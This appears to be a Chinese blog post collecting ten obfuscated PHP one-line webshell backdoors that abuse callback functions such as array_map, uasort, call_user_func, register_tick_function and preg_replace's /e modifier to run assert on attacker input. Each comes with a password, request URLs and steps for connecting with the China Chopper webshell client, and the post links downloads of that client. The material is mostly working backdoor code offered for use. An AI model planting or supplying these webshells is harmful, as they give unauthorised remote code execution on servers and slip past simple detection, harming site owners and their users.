zoukankan      html  css  js  c++  java
  • 8. php回调后门

    中国菜刀下载,基于原版中国菜刀优化版20160309.

    下载地址:

    http://pan.baidu.com/s/1jHoJxHW

    China chopper

    http://pan.baidu.com/s/1eRxEYjC

    下面是收集并整理的各种一句话,带使用方法:

     

    1.php

    <?php 
        $POST['POST']='assert';
        $array[]=$POST;
        $array[0]['POST']($_POST['joker']);
    ?>

    用法:  http://www.xxx.com/1.php

    菜刀连接用法:  http://www.xxx.com/1.php

    密码:joker

    详解:  assert,是php代码执行函数,与eval()有同样的功能,应为$array[],POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马

    assert($_POST['joker']),直接用菜刀链接即可

     ————————————————————————————————————————————————————————

    2.php

    <?php
    error_reporting(0);
    $g = array('','s');
    $gg = a.$g[1].ser.chr('116');
    @$gg($_POST[joker]);
    ?>

    用法:  http://www.xxx.com/2.php

    菜刀连接用法: http://www.xxx.com/2.php

    密码:joker

    详解:$g是个数组,$g[1]='s',chr('116')='t',(https://blog.csdn.net/yabingshi_tech/article/details/19833217 ASCll码对应表),这样的$gg=

    assert,@$gg($_POST[joker])不就是assert($_POST[joker]),是我们常见的一句话木马,直接菜刀链接即可

     ————————————————————————————————————————————————————————

    3.php (array_filter+base64_decode)

    <?php
        error_reporting(0);
        $e=$_REQUEST['e'];
        $arr=array($_POST['joker'],);
        array_filter($arr,base64_decode($e));
    ?>

    用法: http://www.xxx.com/3.php?e=YXNzZXJ0

    浏览器提交POST:joker=phpinfo();

    菜刀连接用法: http://www.xxx.com/3.php?e=YXNzZXJ0

    密码:joker

    详解:base64_decode()函数主要用于base64的解码,YXNzZXJ0的base64解码后的结果为assert,$e接受浏览器传过来的参数,$arr是个数组,array_filter()函数用回调函数过滤数组中的值,

    ,如果我们传入$e的参数为YXNzZXJ0,这样的话我们的回调函数名就是assert,并且要过滤数组中的每一个参数

    就构成了assert($_POST['joker']),常见的一句话木马,直接用菜刀链接即可

    ——————————————————————————————————————————————————————————

    4.php

    <?php
    error_reporting(0);
    call_user_func('assert', $_REQUEST['joker']);
    ?>

    用法: http://www.xxx.com/4.php

    菜刀连接用法: http://www.xxx.com/4.php

    密码:joker

    详解:call_user_func()函数把第一个参数作为回调函数调用,也就是说assert是被调用的回调函数,其余参数是回调函数的参数。

    这样的话就直接构成了  assert($_REQUEST['joker']) 这样的一句话木马,直接用菜刀链接即可

    ———————————————————————————————————————————————————————————

    5.php (array_map+base64_decode)

    <?php
    error_reporting(0);
    $e = $_REQUEST['e'];
    $arr = array($_POST['joker'],);
    array_map(base64_decode($e), $arr);
    ?>

    用法: http://www.xxx.com/5.php?e=YXNzZXJ0

    浏览器提交POST:joker=phpinfo();

    菜刀连接用法: http://www.xxx.com/5.php?e=YXNzZXJ0

    密码:joker

    详解:我们主要来看array_map()这个函数,array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

    这样的话我们传递过去的assert(),就会对$arr数组中的每一个值进行作用,assert($_POST['joker']) ,直接菜刀链接即可

    ————————————————————————————————————————————————————————————————————

    6.php (uasort+base64_decode)

    <?php
        error_reporting(0);
        $e = $_REQUEST['e'];
        $arr = array('test', $_REQUEST['joker']);
        uasort($arr, base64_decode($e));
    ?>
    <?php 
    $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['joker'] => 2); uksort($arr, $e);
    ?>

    用法: http://www.xxx.com/6.php?e=YXNzZXJ0

    浏览器提交POST:joker=phpinfo();

    菜刀连接用法: http://www.xxx.com/6.php?e=YXNzZXJ0

    密码:joker

    详解:我们主要来看uasort,uksort这两个函数,uasort() 函数使用用户自定义的比较函数按照值对数组排序,并保持索引关联(不为元素分配新的键)

    。uksort()函数用法与uasort()函数相似,不过是通过用户自定义的比较函数对数组按键名进行排序。第一个例子是按照比较值来排序,传递进来的自

    定义函数assert(),会作用与($_REQUEST['joker']) 这个值,就构成了一句话木马;第二个例子是按照比较键名来排序,传递进来的自定义函数assert(),会作用与($_REQUEST['joker']) 这个键名,构成了一句话木马,直接操刀链接即可。

    ————————————————————————————————————————————————————————————

    7.php

    <?php
    error_reporting(0);
    $e = $_REQUEST['e']; $arr = array($_POST['joker']); $arr1 = array(1); array_udiff($arr, $arr1, $e);
    ?>

    用法: http://www.xxx.com/7.php?e=assert

    浏览器提交POST:joker=phpinfo();

    菜刀连接用法: http://www.xxx.com/7.php?e=assert

    密码:joker

    详解:我们先来看array_udiff()这个函数,array_udiff() 函数用于比较两个(或更多个)数组的键值 ,并返回差集,注释:该函数使用用户自定义函数来比较键值!

    也就是说$e是可调用的比较函数,数组$arr与$arr1的差集为($_POST['joker']),1,这时候传过来assert()比较函数将会作用,assert($_POST['joker']),构成一句话

    木马,直接用菜刀链接

    ————————————————————————————————————————————————————————————————————

    8.php (array_walk+preg_replace)

    <?php
       error_reporting(0);
       $e = $_REQUEST['e'];
       $arr = array($_POST['joker'] => '|.*|e',);
       array_walk($arr, $e, '');
    ?>

    用法: http://www.xxx.com/8.php?e=preg_replace

    浏览器提交POST:joker=phpinfo();

    菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace

    密码:joker

    详解:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。至于我们为什幺要

    传一个preg_replace进去,preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

    特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

    意思是pattern也就是匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样的话我们直接把 ($_POST['joker']) 这个小马运行,所以直接用菜刀链接即可

    与之有相似功能的函数还有 : mb_ereg_replace() ,preg_filter()

    ——————————————————————————————————————————————————————————————————————

    9.php

    <?php
        error_reporting(0);
        $e = $_REQUEST['e'];
        register_shutdown_function($e, $_REQUEST['joker']);
    ?>

    浏览器GET提交:http://www.xxx.com/9.php?e=assert&settoken=phpinfo();即可执行phpinfo();

    菜刀连接用法: http://www.xxx.com/9.php?e=assert

    密码:joker

    详解:register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数,

    PHP中止的情况有三种:
      • 执行完成
      • exit/die导致的中止
      • 发生致命错误中止    
      •    ,这样的话等到php函数执行完成,就会调用我们传进去的php中止时执行的函数

     构成 assert($_REQUEST['joker']) ,一句话木马 ,直接用菜刀链接即可

    ——————————————————————————————————————————————————————————————————————

    10.php

    <?php
       error_reporting(0);
       $e = $_REQUEST['e'];
       declare(ticks=1);
       register_tick_function ($e, $_REQUEST['joker']);
    ?>

    浏览器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可执行phpinfo();

    菜刀连接用法: http://www.xxx.com/10.php?e=assert

    密码:joker

    详解:register_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。也就是说当ticks=1,每执行1行代码,就需要运行一次我们传过来的assert()函数,$_REQUEST['joker']是参数

    这样就构成了assert($_REQUEST['joker']) ,直接用菜刀链接一句话木马即可

    ————————————————————————————————————————————————————————————

  • 相关阅读:
    BZOJ 1257 余数之和
    BZOJ 1251 序列终结者
    BZOJ 2716 [Violet 3]天使玩偶
    BZOJ 2648 SJY摆棋子
    HDU 1007 Quoit Design
    BZOJ 3504 危桥
    BZOJ 1877 晨跑
    玩转Web之SSH--Heibernate (一)---第一个demo
    网页信息抓取进阶 支持Js生成数据 Jsoup的不足之处
    2013-09-16 构建C1000K的服务器(1) – 基础
  • 原文地址:https://www.cnblogs.com/bmjoker/p/8997793.html
Copyright © 2011-2022 走看看